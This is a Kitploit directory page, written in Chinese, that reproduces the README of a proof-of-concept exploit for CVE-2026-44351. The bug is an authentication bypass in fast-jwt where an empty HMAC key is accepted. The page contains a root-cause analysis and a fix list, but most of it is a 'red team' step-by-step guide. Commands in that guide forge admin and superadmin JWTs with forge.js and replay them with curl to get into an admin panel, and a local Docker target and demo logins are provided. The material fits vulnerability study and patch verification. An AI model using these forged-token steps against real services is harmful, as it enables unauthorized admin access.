Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44351-poc — CVE-2026-44351 的概念验证,这是 fast-jwt <6.2.4 中的一个身份验证绕过漏洞,攻击者可利用空 HMAC 密钥伪造任意 JWT 并被当作有效令牌接受。 | Kitploit
工具/GitHubGitHub/isaca0315/cve-2026-44351-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全密码学身份验证学习与教育红队API 安全
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

CVE-2026-44351 的概念验证,这是 fast-jwt <6.2.4 中的一个身份验证绕过漏洞,攻击者可利用空 HMAC 密钥伪造任意 JWT 并被当作有效令牌接受。

1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-44351 — 通过空密钥伪造 JWT 于 fast-jwt

fast-jwt(6.2.4 之前的版本)中身份验证绕过(auth bypass)的 PoC,允许任何未认证的攻击者伪造任意 JWT,并被目标应用程序接受为合法令牌。

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391(密钥验证不当)/ CWE-287(身份验证不当)/ CWE-326(加密强度不足)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
受影响版本fast-jwt < 6.2.4(已针对 6.2.3 验证)
补丁[email protected] — 以 FAST_JWT_INVALID_KEY 拒绝空 HMAC 密钥

📄 详细技术文档(包含真实代码的根因分析、攻击剖析、补丁分析):docs/CVE-2026-44351.md

概述

fast-jwt 允许传入一个异步函数作为密钥解析器(key)——这是与 JWKS 服务器集成时的典型模式:

root@kitploit:~
const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

当传入令牌的 kid 不存在时,该模式返回 ''。fast-jwt 将空字符串转换为长度为零的 Buffer(Buffer.alloc(0)),将其传递给 crypto.createSecretKey(Node 会静默接受),并使用空密钥 HMAC 验证令牌签名。

由于 HMAC-SHA256(key='', input='<header>.<payload>') 任何人都可以计算,攻击者无需知道真实密钥:只需用任意声明(sub、admin、roles、scopes、iss、aud 等)伪造一个令牌,验证器就会将其返回为合法令牌。

仅影响异步密钥解析路径(函数)。同步配置 key: '' 会被正确拒绝,因为 createVerifier 会对 falsy 值进行短路处理。

漏洞技术细节

该漏洞位于 src/verifier.js。在 async key resolver 流程中:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

签名通过 src/crypto.js 进行验证:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) 可以正常工作,输入的 HMAC 可由攻击者计算,伪造的令牌被接受。

攻击矩阵(已使用 [email protected] 验证)

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ 接受✅ 接受✅ 接受
(d, cb) => cb(null, '')(default)✅ 接受✅ 接受✅ 接受
async d => keys[d.header.kid] || ''(default)✅ 接受✅ 接受✅ 接受
async () => ''['HS256','HS384','HS512']✅ 接受✅ 接受✅ 接受
async () => ''['HS256','RS256']✅ 接受INVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ 红队分步指南(100% 手动利用)

攻击手动执行:唯一的工具是 forge.js,用于生成使用空密钥签名的 JWT。发送和验证使用 curl 完成。

步骤 0 — 启动目标基础设施(Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

Docker 仅用于运行易受攻击的目标,不用于利用。 其余攻击均为手动操作。

步骤 1 — 侦察

识别应用程序的真实 JWT(例如从已认证的请求中获取),并在不验证签名的情况下检查其 header/payload:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

需要验证的要点:

  • Header 中暴露了 kid → 应用程序通过 kid 解析密钥(可能是 JWKS)。
  • 如果受保护端点对损坏的 kid 返回 401,但没有出现 invalid algo/invalid key,则解析器很可能执行了 keys[kid] || ''。

步骤 2 — 伪造 JWT(空密钥)

root@kitploit:~
node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

该脚本始终使用空密钥(secret: "")的 HMAC-SHA* 对选定的 header {alg, typ, kid} 和 payload 进行签名,无需知道应用程序的真实密钥。

步骤 3 — 手动发送令牌

复制令牌(或从文件中读取):

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

如果目标存在漏洞,预期响应:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

步骤 4 — 验证 / 对比

场景命令结果
无令牌curl -si http://localhost:3000/admin401 Unauthorized
无效令牌curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
伪造令牌curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + 管理员访问权限

该绕过可通过更改声明并重复步骤 2–3 来复现(后利用:提升至 role、scopes、其他 sub 等)。


验证演示(可选)

易受攻击版本与已修补版本的快速对比:

root@kitploit:~
npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

也可在 Docker 中运行:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

修复建议

  • 升级至 [email protected] 或更高版本:prepareKeyOrSecret 会以 FAST_JWT_INVALID_KEY 拒绝长度为零的 HMAC 密钥。
  • 在异步解析器中,不要返回 ''/Buffer.alloc(0) 作为回退值: 应返回 undefined/null,并将该情况视为密钥解析错误。
  • 对于已被入侵的部署,重启进程或在过渡期间使用 cache: false: 验证缓存(默认 1000 条目 / 600 秒 TTL)可能保留之前被接受的伪造令牌。
  • 纵深防御:应用 RFC 2104 的建议(HMAC 密钥长度 ≥ 哈希输出大小)。

前端(真实应用模式)

服务器还暴露了一个管理控制台(public/),使利用过程看起来像在真实应用上:企业登录、带声明的仪表板、管理员访问面板以及集成的红队视图。

root@kitploit:~
node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

演示账户:

EmailPassword角色
[email protected]admin123admin: true(超级管理员)
[email protected]user123admin: false(成员)

该应用模拟一个合法的 SaaS:

  • POST /login 通过 createSigner 使用真实密钥(kid: legit-kid)签发 JWT——签名器不易受攻击。
  • 前端将令牌存储在 localStorage 中,并请求 GET /admin,该端点使用易受攻击的验证器。
  • 红队视图:按钮“伪造令牌”在本地签名(纯 JS 中使用密钥 '' 的 HMAC-SHA256,RFC 2104——WebCrypto 不接受长度为零的密钥),或粘贴来自 node forge.js 的令牌并测试 /admin。使用 admin: true 时返回 200 OK → 无需离开浏览器即可确认绕过。

前端仅为展示:漏洞本身不变(异步密钥解析器使用 keys[kid] || ''),README 中 forge.js + curl 的手动攻击流程仍然有效。

项目结构

root@kitploit:~
.
├── Dockerfile            Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml    Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore         Excluye node_modules del build context
├── package.json          Dependencias: [email protected] (vulnerable)
├── server.js             API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js              UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js               Demo a nivel de librería contra [email protected] (vulnerable)
├── public/               Frontend "app real" (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│   └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
    ├── package.json      Dependencias: [email protected] (parcheada)
    └── demo.js           Misma demo contra [email protected] (parcheado)

警告

本材料仅供教育和安全研究目的。仅可对您自己的应用程序或在所有者书面授权的情况下使用该漏洞利用。未经授权对第三方系统使用此技术是违法的,使用者需自行承担全部责任。

下载工具